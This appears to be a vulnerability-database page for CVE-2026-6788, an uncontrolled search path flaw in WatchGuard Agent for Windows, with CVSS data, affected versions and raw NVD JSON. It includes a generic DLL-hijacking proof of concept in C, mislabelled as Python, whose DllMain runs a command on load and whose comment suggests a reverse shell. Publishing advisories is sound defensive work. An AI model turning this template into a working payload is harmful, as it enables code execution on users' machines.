Security Vulnerability Report
中文
CVE-2026-6788 CVSS 7.8 HIGH

CVE-2026-6788

Published: 2026-05-06 16:16:12
Last Modified: 2026-05-11 18:33:24
Source: 5d1c2695-1a31-4499-88ae-e847036fd7e3

Description

Uncontrolled Search Path Element vulnerability in WatchGuard Agent on Windows allows Using Malicious Files.This issue affects WatchGuard Agent before 1.25.03.0000.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:watchguard:agent:*:*:*:*:*:windows:*:* - VULNERABLE
WatchGuard Agent < 1.25.03.0000

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-6788 (Uncontrolled Search Path Element) * Compile as a DLL (e.g., malicious.dll) and place in the vulnerable path. */ #include <windows.h> #include <stdlib.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Code to execute when the DLL is loaded by the vulnerable application // Example: Spawn a calculator or reverse shell WinExec("cmd.exe /c echo CVE-2026-6788 PoC Executed > C:\temp\poc.txt", SW_HIDE); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6788", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2026-05-06T16:16:11.780", "lastModified": "2026-05-11T18:33:24.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Uncontrolled Search Path Element vulnerability in WatchGuard Agent on Windows allows Using Malicious Files.This issue affects WatchGuard Agent before 1.25.03.0000."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:watchguard:agent:*:*:*:*:*:windows:*:*", "versionEndExcluding": "1.25.03.0000", "matchCriteriaId": "1D391721-7499-4701-A84D-C58CD093CCB0"}]}]}], "references": [{"url": "https://www.watchguard.com/wgrd-psirt/advisory/WGSA-2026-00013", "source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "tags": ["Vendor Advisory"]}]}}